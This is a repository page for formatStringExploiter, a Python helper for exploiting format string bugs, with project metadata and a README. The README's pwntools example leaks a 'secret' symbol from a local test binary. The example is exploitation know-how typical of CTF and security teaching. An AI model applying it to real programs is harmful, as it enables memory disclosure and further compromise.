https://github.com/bannsec/formatstringexploiter

Helper script for working with format string bugs
https://github.com/bannsec/formatstringexploiter

Last synced: over 1 year ago
JSON representation

Helper script for working with format string bugs

• Host: GitHub
• URL: https://github.com/bannsec/formatstringexploiter
• Owner: bannsec
• Created: 2016-02-22T04:02:57.000Z (over 10 years ago)
• Default Branch: master
• Last Pushed: 2020-05-02T17:08:09.000Z (about 6 years ago)
• Last Synced: 2025-04-08T18:54:50.801Z (over 1 year ago)
• Language: Python
• Size: 125 KB
• Stars: 57
• Watchers: 3
• Forks: 14
• Open Issues: 1
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

          
[![Documentation Status](https://readthedocs.org/projects/formatstringexploiter/badge/?version=latest)](http://formatStringExploiter.readthedocs.org/en/latest/?badge=latest)

![Tests](https://github.com/bannsec/formatStringExploiter/workflows/Tests/badge.svg?branch=master)

# Docs

http://formatstringexploiter.readthedocs.io/en/latest/index.html

# formatStringExploiter

Helper script for working with format string bugs

Example

```python

from formatStringExploiter.FormatString import FormatString

from pwn import *

import logging

logging.basicConfig(level=logging.WARN)

log = logging.getLogger()

elf = ELF("formatStringTest")

# Defining format string executor here

def exec_fmt(s):

    p = process("./formatStringTest",buffer_fill_size=0xffff)

    p.sendline(s)

    p.recvuntil("Input a format string: ")

    out = p.recvuntil("Logged in",drop=True)

    p.close()

    return out

# Create the class and self-discover the correct offsets

fmtStr = FormatString(exec_fmt,elf=elf)

# Leak some point in memory as a string

fmtStr[elf.symbols['secret']]

# Equivalently, but with caching and more smarts...

fmtStr.leak.s(elf.symbols['secret'])

```